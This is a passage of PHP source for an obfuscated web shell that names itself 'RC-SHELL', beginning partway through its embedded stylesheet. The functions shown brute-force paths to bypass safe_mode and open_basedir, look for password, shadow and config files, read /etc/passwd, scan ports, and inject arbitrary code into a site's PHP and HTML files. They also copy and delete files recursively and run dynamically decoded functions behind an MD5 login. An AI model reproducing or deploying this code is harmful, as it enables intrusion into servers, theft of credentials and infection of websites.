.tdfooter { \'.z2y(z9q("footerbg1"),z9q("footerbg2")).\' border-top: 1px solid \'.z9q("footerborder1").\'; padding: 3px; color: \'.z9q("footercolor").\'; text-shadow: 1px 1px 5px \'.z9q("footershadow").\'; font-size: 9px; font-weight: bold; vertical-align: middle; }
.headnfo { width: 100%; }
.ql { width: 100%; }
.tdql { background-color: transparent; border-top: 1px solid \'.z9q("qlbg2").\'; border-bottom: 3px solid #E0E0E0; }
.ql1, .ql2, .qlback { font-size: 10px; font-weight: bold; }
.ql1 { \'.z2y("#fefefe","#E0E0E0",1).\' border: 1px solid #EFEAEF; border-bottom: 0; color: #030303; width:100%; height: 22px; text-shadow: #cccccc 2px -1px 10px; }
.ql2 { \'.z2y(z9q("qlbg1"), z9q("qlbg2"),1).\' color: \'.z9q("qlcolor").\'; border-top: 1px solid \'.z9q("qlborder").\'; border-left: 0; border-right: 0; border-bottom: 1px solid #EFEAEF; width:100%; height: 22px; text-shadow: \'.z9q("qlshadow").\' 2px -1px 10px; }
.qlback { \'.z2y(z9q("qlbg1"), z9q("qlbg2"),1).\' border-top: 1px solid \'.z9q("qlborder").\'; border-bottom: 1px solid #EFEAEF; color: \'.z9q("qlcolor").\'; width:100%; text-shadow: \'.z9q("qlshadow").\' 2px -1px 10px; height: 22px; cursor: pointer; }
.ql1:hover { cursor:pointer; }
.ql2:hover, .qlback:hover { color: \'.z9q("qlcolorhover").\'; cursor: pointer; }
.size1, .size2, .size3, .size4, .size5, .size6, .size7, .size8, .size9, .size10 { background-color: #FFFFFF; border: 1px solid #CCCCCC; color: #333333; margin: 1px; margin-right: 0; font-size: 10px; text-shadow: 1px 1px 5px #dddddd; vertical-align: middle; }
.size1, .size2, .size3, .size5, .size6, .size7, .size8, .size9, .size10 { height: 20px;}
.size1 { width: 300px; }
.size2 { width: 65px; }
.size3 { width: 200px; }
.size4 { width: 65px; height: 18px; }
.size5 { width: 100px; }
.size6 { width: 150px; }
.size7 { width: 40px; }
.size8 { width: 99%; min-width: 370px; }
.size9 { width: 205px; }
.size10 { width: 550px; }
.list1 { background: #F2f2f2; }
.list2 { background: #F5F5F5; }
.list3 { background: #E0E0E0; }
.list1:hover, .list2:hover { background-color: #E0E0E0; }
.list3:hover { background: #CCCCCC; }
.tdlsh1, .tdlsh2, .tdph { background-color: transparent; border-top: 1px solid #DDDDDD; border-right: 1px solid #FFFFFF; border-bottom: 1px solid #CCCCCC; border-left: 1px solid #CCCCCC; color: #333333; text-shadow: 1px 1px 3px #ffffff; height: 20px; }
.tdlsh1, .tdlsh2 { padding-left: 2px; padding-right: 5px; min-width: 60px; height: 20px; }
.tdlsh1 { border-left: 0; min-width: 350px; }
.tdph { padding-left: 2px; }
.tdpl { background-color: transparent; border-left: 1px solid #dddddd; border-right: 1px solid #ffffff; padding: 2px; min-width: 40px; min-height: 20px; word-break: break-all; }
.head { background-color: transparent; border:0; min-width: 100%; color: #333333; text-shadow: 1px 1px 3px #ffffff; margin: 0; padding:0; font-size: 10px; font-weight: normal; text-align: left; }
.head:hover { cursor: pointer; }
.tdlsh1, .tdlsh2, .tdph { \'.z2y("#F5F5F5", "#E0E0E0").\' height: 22px !important; }
.tdlsh1:hover, .tdlsh2:hover, .tdph:hover { \'.z2y("#fefefe","#dddddd").\' }
.tdlsf { padding-left: 2px; min-width: 300px; height: 20px; vertical-align: middle; }
.tdlsfn, .tdlsf1 { padding-left: 2px; padding-right: 5px; min-width: 60px; height: 20px; vertical-align: middle; }
.tdlsf1 { border-left: 1px solid #FFFFFF; min-width: 200px; }
.tdhead { \'.z2y("#E0E0E0","#efefef",1).\' border-top: 1px solid #f3f3f3; border-bottom: 1px solid #e0e0e0; border-right:0; color: #030303; padding-left: 3px; height: 20px; font-size: 9px; font-weight: bold; }
.tdhead td, .tdlbl { color: #333333; padding: 3px; font-weight: bold; text-shadow: 1px 1px 3px #ffffff; }
.tdlbl { width: 150px; }
.tdmail { padding: 0 10px 0 10px;}
img { vertical-align: middle; }
.fimg { border: 0; padding:0; padding-right:1px; vertical-align: middle; }
.tfilter { width: 100%; }
.tdfilter { \'.z2y("#efefef","#E0E0E0").\' border-top: 1px solid #fefefe; color: #333333; padding: 2px; font-weight: bold; }
.nr, .nw, .rw { background-color: transparent; font-weight:normal; text-tecoration: none; }
.nr { color: \'.z9q(\'errcolor\').\'; }
.nw { color: \'.z9q(\'normalcolor\').\'; }
.rw { color: \'.z9q(\'okcolor\').\'; }
.dirlist, .filelist { background-color: transparent; border: 0; padding: 0; min-width: 80%; font-size: 11px; text-decoration: none; text-align: left; vertical-align: middle !important; }
.dirlist { color: \'.z9q(\'dircolor\').\'; }
.filelist { color: \'.z9q(\'normalcolor\').\'; }
.dirlist:hover, .filelist:hover { cursor: pointer; }
pre { background-color: #FAFAFA; color:#333333; border: 1px solid #CCCCCC; margin-top:0; padding: 5px; max-width: 1000px; max-height: 350px; text-align: left; overflow-x: auto; white-space: pre-wrap; white-space: -moz-pre-wrap !important; white-space: -pre-wrap; white-space: -o-pre-wrap; word-wrap: break-word; }
pre code { display: block; }
.ftactive, .ftcompat, .ftother { \'.z2y("#f3f3f3", "#cccccc").\' border: 1px solid #BBBBBB; margin:2px 1px 2px 0; padding: 2px 8px 2px 8px; height:20px; font-size: 10px !important; }
.ftactive:hover, .ftcompat:hover, .ftother:hover { \'.z2y("#CCCCCC", "#F3F3F3").\' cursor: pointer; }
.ftactive { \'.z2y("#CCCCCC", "#F3F3F3").\' color: #000000; }
.ftcompat { color: \'.z9q(\'okcolor\').\'; }
.ftother { color: \'.z9q(\'normalcolor\').\'; }
.mbut1, .mbut2 { border: 1px solid #BBBBBB; margin: 2px 1px 2px 0; padding: 1px 5px 1px 5px; height: 20px; font-size: 10px; }
.mbut1 { \'.z2y("#F3F3F3", "#CCCCCC").\' }
.mbut2 { \'.z2y("#CCCCCC", "#F3F3F3").\' }
.mbut1:hover, .mbut2:hover { \'.z2y("#cccccc", "#f3f3f3").\' cursor: pointer; }
.iframe { background-color: #FFFFFF; border: 1px solid #CCCCCC; width: 99%; height: 300px; vertical-align: middle; }
.console { background-color: transparent; color: #333333; border: 0; width: 100%; height: 300px; }
.tgeneric, .tedit, .txmail { border: 1px solid #cccccc; margin-top: 0; margin-bottom: 1px; width: 99%; }
.tgeneric { height: 150px; }
.tedit { height: 300px; text-align: left; }
.txmail { margin-top: 1px; width: 100%; height: 100px; }
.tsql1, .tsql2 { border: 1px solid #CCCCCC; margin-left: 1px; width: 205px; height: 60px; }
.tsql2 { width: 99% !important; }
.tinj { border: 1px solid #CCCCCC; margin: 1px; width: 300px; height: 46px; }
.tahex { width: 99%; margin-bottom:1px;}
.thex1, .thex2, .thex3 { border: 1px solid #CCCCCC; padding-top:1px; padding-left:3px; font: 13px "monospace", monospace; line-height: 20px; text-align: left; }
.thex1 { color: #000000; }
.thex2 { background-color: #FFFFFF; border-left: 0; border-right: 0; }
.thex3 { color: #000000;}
.idimg, .ifimg { \'.z0u(\'3\').\' margin-right:2px; width: 16px; height: 16px; vertical-align: middle; }
.idimg { \'.z2y(z9q(\'idirbg1\'), z9q(\'idirbg2\'),1).\' border: 1px solid \'.z9q(\'idirborder\').\'; }
.ifimg { \'.z2y(z9q(\'ifilebg1\'), z9q(\'ifilebg2\')).\' border: 1px solid \'.z9q(\'ifileborder\').\'; }
.idimg:hover, .ifimg:hover { cursor: pointer; }
.selector, .divls { max-height:350px; height:350px !important; overflow: auto; }
.selector { border-top: 1px solid #FFFFFF; }
.scroll { background-color: transparent; border:0; margin:0; padding:0; max-width: 1024px; max-height:350px; overflow-y: auto; overflow-x: auto; text-align:left; }
.dwidth { width: 99%; }
.barbg { \'.z2y("#dddddd","#ffffff").\' border:1px solid #cccccc; margin-right: 5px; padding:0; width:100px; height:7px; vertical-align:middle; float:left; }
.barfil { \'.z2y("#85FF00","#469F0B").\'; height:7px; padding:0; }
\').\'
</style>
</head>
<body\'.(($act=="cmd")?\' onload="document.command.cmd.focus();"\':\'\').\'>\'.(@in_array($act, array(\'ls\',\'search\',\'ftp\'))? z3b():\'\').($act=="f"&&@isset($ft)&&$ft=="edit"?z1z():\'\').\'
\'.z7g(($login ? \'1\' : \'0\')).z6f().z7j(); } function z0g($c,$s,$t){ return \'<input type="submit" title="\'.$t.\'" value=" " style="border:1px solid \'.z9q("topborder1").\'; background: \'.$c.\'; width: \'.$s.\'px; height: \'.$s.\'px; vertical-align: middle; vertical-align: inherit !important; cursor: pointer;">\'; } function z1x($type){ return \'<input type="submit" class="\'.($type==\'d\'?\'idimg\':\'ifimg\').\'" value=" ">\'; } function z0u($i){ return \' -moz-border-radius: \'.$i.\'px; -webkit-border-radius: \'.$i.\'px; border-radius: \'.$i.\'px;\'; } function z2y($s,$e,$d=\'\'){ global $nogradient; if(@isset($nogradient)&&$nogradient) return \'background: \'.(($d==\'\')?$s:$e).\';\'; return \'background: \'.(($d==\'\')?$s:$e).\';
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=\'\'.$s.\'\', endColorstr=\'\'.$e.\'\');
background: -webkit-gradient(linear, left top, left bottom, from(\'.$s.\'), to(\'.$e.\'));
background: -moz-linear-gradient(top, \'.$s.\', \'.$e.\');
background: -o-linear-gradient(top, \'.$s.\', \'.$e.\');
\'; } function z3j($login=0){ $tc=\'\'; foreach(z7z(5,\'skins\') as $s) $tc .= z5x(array(\'act\',\'d\',\'color_skin\'=>$s), z4y(z0g(z9q("topbg1"),"11",@strtoupper($s)))." "); echo (!$login ? z7a(z7u(z9c(\'RC-SHELL v\'.z7z(\'0\').\' : \'."PAGE GENERATED IN ".(@round(z10e()-start,4))." SECONDS",\'4\').z6z($tc,\'4\')),\'2\'):\'\').z7f().z7y().z10q().\'</body></html>\'; exit(); } function z1a($n, $v=\'\', $e = 0, $p = \'\', $d=\'\', $s=false, $h=false){ $_COOKIE[$n] = $v; return @setcookie($n, $v, $e, $p, $d, $s, $h); } function z1l($n){ if(@isset($_COOKIE[$n])) unset($_COOKIE[$n]); return @setcookie($n, NULL, -1); } function z1h($n){ return (@isset($_COOKIE[$n]) ? $_COOKIE[$n] :\'\'); } function z0j(){ foreach(array(\'bcopy\',\'bcut\') as $t){ global ${$t}; if(@count(${$t})>0){ $_SESSION[$t]=${$t}; $c=@serialize(${$t}); z1a($t, $c); } else { z0i($t); z1l($t); } } } function z1d(){ foreach(array(\'bcopy\',\'bcut\') as $t){ global ${$t}; if(@isset($_SESSION[$t])){ ${$t}=$_SESSION[$t]; } elseif(($c=z1h($t))!=\'\') { ${$t}=@unserialize($c); } else { ${$t}=array(); } } } function z0d($a=1){ foreach(array(\'bcopy\',\'bcut\') as $t){ global ${$t}; if(@isset(${$t})&&$a) unset(${$t}); z0i($t); z1l($t); } } function z1o($f,$t){ global $bcopy, $bcut; z0d(0); $u=(($t==\'bcopy\') ? \'bcut\': \'bcopy\'); foreach(${$u} as $k=>$v){ if(${$u}[$k]==$f) unset(${$u}[$k]); } if(!@in_array($f, ${$t})){ ${$t}[]=$f; } else { foreach(${$t} as $k=>$v){ if(${$t}[$k]==$f) unset(${$t}[$k]); } } } function z4g(){ global $color_skin; $l=z7z(\'1\'); $zu=z1h(\'zu\'); $zp=z1h(\'zp\'); if($l[\'use_auth\'] && z7e(\'md5\')){ $s=$e=0; if(@isset($_SESSION[\'ok\'])||($zu==$l[\'md5_user\'] && $zp==$l[\'md5_pass\'])){ $s=1; } elseif(@isset($_POST[\'zu\']) && @isset($_POST[\'zp\'])) { if(@md5($_POST[\'zu\'])==$l[\'md5_user\'] && @md5($_POST[\'zp\'])==$l[\'md5_pass\']){ $_SESSION[\'ok\']=1; z1a(\'zu\', @md5($_POST[\'zu\'])); z1a(\'zp\', @md5($_POST[\'zp\'])); $s=1; } else { $e=1; } } if(!$s){ $color_skin=z7z(\'5\',\'default_skin\'); z3z(1); echo z9k().z7a(z7u(z9c(z7n(z9y("1"))).z9c(z6u(\'zu\',\'\'))).z7u(z9c(z7n(z9y("2"))).z9c(z6p(\'zp\',\'\'))).z7u(z9c(\'\').z9c(z8b(z9y("3"),"7")))).z9l(); z3j(1); exit(); } } } function z0i($n){ if(@isset($_SESSION[$n])) unset($_SESSION[$n]); } function z1t($n){ return (@isset($_SESSION[$n]) ? $_SESSION[$n] : false); } function z4w(){ z1l(\'zu\'); z1l(\'zp\'); z0i(\'ok\'); if(@count($_SESSION)>0){ foreach($_SESSION as $k=>$v) z0i($k); } @session_destroy(); } function z7b($f){ if(!z1y($f)){ return \'0\'; } elseif(!z0n($f)) { return \'1\'; } else return \'2\'; } function z5g($f){ $c=array("red","white","green"); return $c[(z7b($f))]; } function z6g($f){ $c=array("nr","nw","rw"); return $c[(z7b($f))]; } function z7x($s){ if(!@is_numeric($s)) return \'0 B\'; $m=1024; $u=@explode(\' \', \'B KB MB GB TB PB\'); for($i=0; $s>$m; $i++){ $s /= $m; } return @round($s, 2).\' \'.$u[$i]; } function z7c($i,$c=1){ foreach(z6m() as $r){ if(@strstr(z9b($r),$i)) return z8w(@explode($i,z9b($r)),$c); };} function z0e($errno,$errstr,$errfile,$errline){ global $safeDirArr,$c,$i; preg_match("#SAFE\s+MODE\s+Restriction\s+in\s+effect(.*)not\s+allowed\s+to\s+access\s+(.*)\s+owned\s+by\s+uid(.*)#",$errstr,$o)||preg_match("#open_basedir\s+restriction(.*)File\s*\((.*)\)\s+is\s+not#",$errstr,$o); if($o){ $safeDirArr[$c]=$o[2]; $c++; } } function z3w($dir){ global $win,$safeDirArr; if(z7e(\'glob\')){ $error_reporting=@ini_get(\'error_reporting\'); @error_reporting(E_WARNING); @ini_set("display_errors",1); $root="/"; if($dir) $root=$dir; $c=0; $safeDirArr=array(); @set_error_handler("z0e"); $chars="_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($i=0;$i<@strlen($chars);$i++){ $path="{$root}".((@substr($root,-1)!="/")?"/":NULL)."{$chars[$i]}"; $prevD=$safeDirArr[@count($safeDirArr)-1]; @glob($path."*"); if($safeDirArr[@count($safeDirArr)-1]!=$prevD){ for($j=0;$j<@strlen($chars);$j++){ $path="{$root}".((@substr($root,-1)!="/")?"/":NULL)."{$chars[$i]}{$chars[$j]}"; $prevD2=$safeDirArr[@count($safeDirArr)-1]; @glob($path."*"); if($safeDirArr[@count($safeDirArr)-1]!=$prevD2){ for($p=0;$p<@strlen($chars);$p++){ $path="{$root}".((@substr($root,-1)!="/")?"/":NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; $prevD3=$safeDirarr[@count($safeDirArr)-1]; @glob($path."*"); if($safeDirArr[@count($safeDirArr)-1]!=$prevD3){ for($r=0;$r<@strlen($chars);$r++){ $path="{$root}".((@substr($root,-1)!="/")?"/":NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; @glob($path."*"); } } } } } } } $safeDirArr=@array_unique($safeDirArr); foreach($safeDirArr as $item) echo @htmlspecialchars("{$item}")."
"; @error_reporting($error_reporting); } } function z3y($dir){ if(z7e(\'realpath\')){ global $win,$safeDirArr; $chars_rlph="_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $presets_rlph = array(\'index.php\',\'.htaccess\',\'.htpasswd\',\'httpd.conf\',\'vhosts.conf\',\'cfg.php\',\'config.php\',\'config.inc.php\',\'config.default.php\',\'config.inc.php\',\'shadow\',\'passwd\',\'.bash_history\',\'.mysql_history\',\'master.passwd\',\'user\',\'admin\',\'password\',\'administrator\',\'phpMyAdmin\',\'security\',\'php.ini\',\'cdrom\',\'root\',\'my.cnf\',\'pureftpd.conf\',\'proftpd.conf\',\'ftpd.conf\',\'resolv.conf\',\'login.conf\',\'smb.conf\',\'sysctl.conf\',\'syslog.conf\',\'access.conf\',\'accounting.log\',\'home\',\'htdocs\',\'access\',\'auth\',\'error\',\'backup\',\'data\',\'back\',\'sysconfig\',\'phpbb\',\'phpbb2\',\'vbulletin\',\'vbullet\',\'phpnuke\',\'cgi-bin\',\'html\',\'robots.txt\',\'billing\'); if(!$dir){$dir=\'/etc/\';}; $end_rlph=\'\'; $n_rlph=\'3\'; $c=0; $safeDirArr=array(); $rlpArr=array(); $error_reporting=@ini_get(\'error_reporting\'); @error_reporting(E_WARNING); @ini_set("display_errors",1); @set_error_handler("z0e"); if($realpath=realpath($dir.\'/\')){echo $realpath."
";} if($end_rlph!=\'\' && $realpath=realpath($dir.\'/\'.$end_rlph)){echo $realpath."
";$rlpArr[]=$realpath; } foreach($presets_rlph as $preset_rlph){ if($realpath=realpath($dir.\'/\'.$preset_rlph.$end_rlph)){echo $realpath."
"; $rlpArr[]=$realpath; } } for($i=0; $i < strlen($chars_rlph); $i++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."
"; $rlpArr[]=$realpath; } if($n_rlph<=1){continue;}; for($j=0; $j < strlen($chars_rlph); $j++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."
"; $rlpArr[]=$realpath; } if($n_rlph<=2){continue;}; for($x=0; $x < strlen($chars_rlph); $x++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."
"; $rlpArr[]=$realpath; } if($n_rlph<=3){continue;}; for($y=0; $y < strlen($chars_rlph); $y++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."
"; $rlpArr[]=$realpath; } if($n_rlph<=4){continue;}; for($z=0; $z < strlen($chars_rlph); $z++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."
"; $rlpArr[]=$realpath; } if($n_rlph<=5){continue;}; for($w=0; $w < strlen($chars_rlph); $w++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."
"; $rlpArr[]=$realpath; } } } } } } } $safeDirArr=@array_unique($safeDirArr); foreach($safeDirArr as $item){ if(!@in_array($item, $rlpArr)) echo @htmlspecialchars($item)."
"; } @error_reporting($error_reporting); } } function z4h($d, $t,$b=0){ $d=z1j($d); $t=z1j($t); if(@is_dir($d)) { if(!z4r($t)){ @mkdir($t); @chmod($t,0755); } $h=@opendir($d); while(($o=@readdir($h))!==false){ if(($o!=".") && ($o!="..")){ if(@is_dir(z1k($d).$o)){ z4h(z1k($d).$o, z1k($t).$o, $b); } else { @copy(z1k($d).$o, z1k($t).$o); if($b){ @unlink(z1k($d).$o); } } } } @closedir($h); if($b){ @rmdir($d); } return true; } elseif(@is_file($d)){ if(@is_dir($t)){ $t=z1k($t).z2l($d); } if($b){ if(@copy($d, $t)) return @unlink($d); } else { return @copy($d, $t); } } else { return false; } } function z8r($d,$t){ return z4h($d,$t); } function z8p($d,$t){ return z4h($d,$t,1); } function z8a($d){ $d=z1k($d); $h=@opendir($d); while(($o=@readdir($h))!==false){ if($o!="." && $o!=".." && !z4q($o)){ if(!z4j($d.$o)){ @unlink($d.$o); }else{ z8a($d.$o); } } } @closedir($h); @rmdir($d); return !z4j($d); } function z8s($o){ $o=z1j($o); if(@z4j($o)){ return z8a($o); } elseif(z4e($o)){ return @unlink($o); } else{ return false; } } function z8u(){ $h=(@empty($_SERVER[\'HTTPS\'])||@strtolower($_SERVER[\'HTTPS\'])==\'off\'?0:1); $u=\'http\'.(($h?\'s\':\'\').\'://\'.$_SERVER[\'HTTP_HOST\'].$_SERVER[\'PHP_SELF\']); $m=(@empty($_SERVER[\'PATH_INFO\'])?\'QUERY_STRING\':\'PATH_INFO\'); $s=$m==\'QUERY_STRING\'?\'?\':\'\'; return $u.$s.(@isset($_SERVER[$m])?$_SERVER[$m]:\'\'); } function z6n(){ $u=array(); $p=z9o("/etc/passwd"); if($p){ $ll=@explode("
",$p); foreach(@array_unique($ll) as $l){ $s=@explode(":",$l); if(@isset($s[0]) && @isset($s[2])&& @isset($s[3]) && @isset($s[5])&& @isset($s[6]) && !@isset($u[$s[0]])){ $u[$s[0]]=array($s[2], $s[3], $s[5], $s[6]); } } } elseif (z7e(\'posix_getpwuid\')){ for($i=0; $i<65535; $i++){ $a=@posix_getpwuid($i); if($a && @is_array($a)){ if(@isset($a[\'name\']) && !@empty($a[\'name\']) && !@isset($u[$a[\'name\']])){ $u[$a[\'name\']]=array($a[\'uid\'], $a[\'gid\'], $a[\'dir\'], $a[\'shell\']); } } } } return $u; } function z8l($t=0){ $a=array(); $p=z6n(); if(@count($p)>0){ foreach($p as $u=>$v) $a[]=(($t) ? array($u,$v[2]) : $u); } return $a; } if(!z7e(\'str_repeat\')){ function str_repeat($i,$c){ $r=\'\'; for($n=0;$n<$c;$n++)$r.=$i; return $r; } } function z9w($m,$s=0){ if(($m&0xC000)===0xC000){ $t="s"; } elseif(($m&0x4000)===0x4000){ $t="d"; } elseif(($m&0xA000)===0xA000){ $t="l"; } elseif(($m&0x8000)===0x8000){ $t="-"; } elseif(($m&0x6000)===0x6000){ $t="b"; } elseif(($m&0x2000)===0x2000){ $t="c"; } elseif(($m&0x1000)===0x1000){ $t="p"; } else{ $t="?"; } $a["r"]=($m&00400)>0; $a["w"]=($m&00200)>0; $a["x"]=($m&00100)>0; $b["r"]=($m&00040)>0; $b["w"]=($m&00020)>0; $b["x"]=($m&00010)>0; $c["r"]=($m&00004)>0; $c["w"]=($m&00002)>0; $c["x"]=($m&00001)>0; if($s) return array("t"=>$t, "o"=>$a, "g"=>$b, "w"=>$c); $o["r"]=($a["r"])?"r":"-"; $o["w"]=($a["w"])?"w":"-"; $o["x"]=($a["x"])?"x":"-"; $g["r"]=($b["r"])?"r":"-"; $g["w"]=($b["w"])?"w":"-"; $g["x"]=($b["x"])?"x":"-"; $w["r"]=($c["r"])?"r":"-"; $w["w"]=($c["w"])?"w":"-"; $w["x"]=($c["x"])?"x":"-"; if($m&0x800) $o["x"]=($o["x"]=="x")?"s":"S"; if($m&0x400) $g["x"]=($g["x"]=="x")?"s":"S"; if($m&0x200) $w["x"]=($w["x"]=="x")?"t":"T"; return $t.@join("",$o).@join("",$g).@join("",$w); } function z8j($i,$s,$e){ $p=\'\'; $k=array(\'80\'=>\'Webserver\',\'443\'=>\'OpenSSL\',\'3306\'=>\'MySQL\',\'5432\'=>\'PostgreSQL\',); if(z7e(\'fsockopen\')&&z7e(\'stream_set_timeout\')){ for($n=$s;$n<=$e;$n++){ $c=@fsockopen($i,$n,$en,$es,1); if($c){ @stream_set_timeout($c,0,50000); $t=@preg_replace("/(
|
|[^a-z0-9_&%:;\.,\[\]\(\)\s-])/i","",@fread($c,100)); $t=(@isset($k[$n])?$k[$n].\' \'.$t:$t); if(@empty($t)) $t="Open"; $p.="[$i] Port $n".((@strlen($n)<5)?@str_repeat(\' \',(5-@strlen($n))):\'\')." $t
"; @fclose($c); } } } return $p; } function z8d($a){ $b=@strtolower(@ini_get($a)); if($b==\'on\'||$b==\'yes\'||$b==\'true\'){ return \'assert.active\'!==$a; } elseif($b==\'stderr\'||$b==\'stdout\'){ return \'display_errors\'===$a; } else{ return (bool)(int)$b; } } function z8o($c,$l){ return (@strlen($c)>$l) ? @substr($c,0,(@ceil($l/2)-2))."[..]".@substr($c,-(@ceil($l/2)-2)) : $c; } function init_buffer(){ if(!@isset($_SESSION[\'buffer\'])){ $_SESSION[\'buffer\']=array(); } } function unset_buffer(){ if(@isset($_SESSION[\'buffer\'])){ unset($_SESSION[\'buffer\']); } } function z8i($i,$t=0){ return ($t===0?z7c($i):($t===1?@ord($i):@chr($i))); } function z8y($s, $d=\',\', $e=\'"\', $esc=\'\\'){ $n = 0; $r = array(); $ed=\'%#%#%E%S%C%A%P%E%D%#%#%\'; $s=@str_replace($esc.$e, $ed, $s); $s=@preg_replace(\'/\'.$e.\'([^\'.$e.\']+)\'.$e.\'(\s| )+\'.$d.\'/\', $e."\1".$e.$d, $s); $s=@preg_replace(\'/\'.$e.\'([^\'.$e.\']+)\'.$e.$d.\'(\s| )+/\', $e."\1".$e.$d, $s); if(@strstr($s,$e)){ $a=@explode($e, $s); foreach($a as $i){ if($n++%2){ @array_push($r, @str_replace($ed, $e, @array_pop($r) . $i )); }else{ $b=@explode($d, $i); @array_push($r, @str_replace($ed, $e, @array_pop($r) . @array_shift($b))); $r=@array_merge($r, $b); } } } return $r; } function z5s($s, $eol="
", $d=\',\', $e=\'"\', $esc=\'\\'){ $r=array(); if(@strstr($s, $eol)){ $p=@explode($eol, $s); foreach($p as $l){ if(!@empty($l)) $r[]=z8y($l,$d,$e,$esc); } } else { $r[]=z8y($s,$d,$e,$esc); } return $r; } function z9n(){ return z8e(z8i(z8c()),z8c()); } function z8t($e){ $r=z9e("PATH=\'/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin\';which $e"); return(@empty($r)?0:$r); } function z9b($i){ return base64_decode($i); } function z4f(& $a,$k=""){ if(@is_array($a)){ foreach($a as $k=>$v){ z4f($a["$k"]); } }else{ $a=@stripslashes($a); } } function z3s($h, $n, $o=0){ $l=@strlen($h); $o=($o>0)?($l-$o):@abs($o); $p=@strpos(@strrev($h),@strrev($n),$o); return ($p===false)?false:($l-$p-@strlen($n)); } function z3v($inj,$w,$f){ $c=z9o($f); $r=\'\'; if(!$c) return false; switch($w){ case \'top\': $r=$inj.$c; break; case \'end\': $r=$c.$inj; break; case \'php1\': $p=@strpos($c,\'<?\'); if($p===false) return false; $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'php2\': $p=z3s($c,\'?>\'); if($p===false) return false; $p+=2; $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'html1\': $p=@strpos($c,\'<html>\'); if($p===false) return false; $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'html2\': $p=@strpos($c,\'</html>\'); if($p===false) return false; $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'html3\': $p=@strpos($c,\'<html>\'); if($p===false) return false; $p+=6; $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'html4\': $p=@strpos($c,\'</html>\'); if($p===false) return false; $p+=7; $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'body1\': if(!@preg_match(\'/<body[^>]*>/\',$c,$m)) return false; $p=@strpos($c,$m[0]); $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'body2\': $p=z3s($c,\'</body>\'); if($p===false) return false; $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'body3\': if(!@preg_match(\'/<body[^>]*>/\',$c,$m)) return false; $p=@strpos($c,$m[0]); $p+=@strlen($m[0]); $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'body4\': $p=z3s($c,\'</body>\'); if($p===false) return false; $p+=7; $r=@substr($c,0,$p).$inj.@substr($c,$p); break; case \'overwrite\': $r=$inj; break; default: return false; break; } return z9t($f,$r); } function z3u(& $a,$k=\'\'){ if(@is_array($a)){ foreach($a as $k=>$v){ z3u($a["$k"]); } }else{ if($a==\'name\'||$a==\'tmp_name\') $a=z1j($a); } } function z8e($i,$o){ $r=@create_function(\'$o\',\'return @\'.z7c($o,0).\'($o);\'); return $r($i); } function z7v($n,$ac,$a,$b=0){ global $act; return z6l(z5x(array(\'act\'=>$ac,\'d\',\'sort\'), z8b($n,($a?\'4\':\'5\'),($act==$ac&&$b?\' style="border-right:0;"\':\'\'))),\'5\'); } function z0a($k){ if(!@isset($_SESSION[$k])||!@is_array($_SESSION[$k])){ z0i($k); $_SESSION[$k]=array(); $_SESSION[$k][]=array(\'act\'=>z7z(\'2\',\'default_act\')); } } function z2d($k){ if(@count($_SESSION[$k])>0) return @count($_SESSION[$k]); $_SESSION[$k][]=array(\'act\'=>z7z(\'2\',\'default_act\')); return @count($_SESSION[$k]); } function z0l(){ $p=array(); if(@count($_POST)>0){ foreach($_POST as $n=>$v){ if(@substr($n,0,5)!=\'backf\') $p[$n]=$v; } } return $p; } function z0f($k){ $cleanp=z0l(); if($cleanp != z2m($k)) $_SESSION[$k][]=$cleanp; } function z3f($k){ $_SESSION[$k]=@array_reverse($_SESSION[$k]); @array_pop($_SESSION[$k]); $_SESSION[$k]=@array_reverse($_SESSION[$k]); z2t($k); } function z2m($k){ $c=z2d($k); if($c==0) return array(); if($c>0) z2t($k); $n=(($c>1) ? ($c-2) : (($c>0) ? ($c-1) : 0)); return $_SESSION[$k][$n]; } function z2t($k){ $r=array(); foreach($_SESSION[$k] as $v) $r[]=$v; $_SESSION[$k]=$r; } function z5f($sk){ global $backf,$white,$back_form_actions; z0a($sk); if(@isset($backf)&&$backf){ @array_pop($_SESSION[$sk]); } elseif(!@isset($white)||!$white) { z0f($sk); } $back=z2m($sk); if(z2d($sk)>10) z3f($sk); $a=array(); if(@count($back)>0){ $a[\'backf\']=\'1\'; if(@is_array($back)){ foreach($back as $k=>$v){ $a[\'backf_\'.$k]=@urlencode($v); } } } $back_form_actions=$a; return z6l(((@count($a)>0)? z5x($a,z8b(z9y("23"),\'15\')) : z8b(z9y("23"),\'5\')),\'5\'); } function z0p(){ global $act,$sh_exec,$safe_exec,$bftp,$bmail; echo z7a(z7u(z5f(\'hist\'). z7v(z9y("24"),"ls",(@in_array($act,array("ls","d","f","dfunc")))). z7v(z9y("25"),"search",($act=="search")). z7v(z9y("26"),"upload",($act=="upload")). 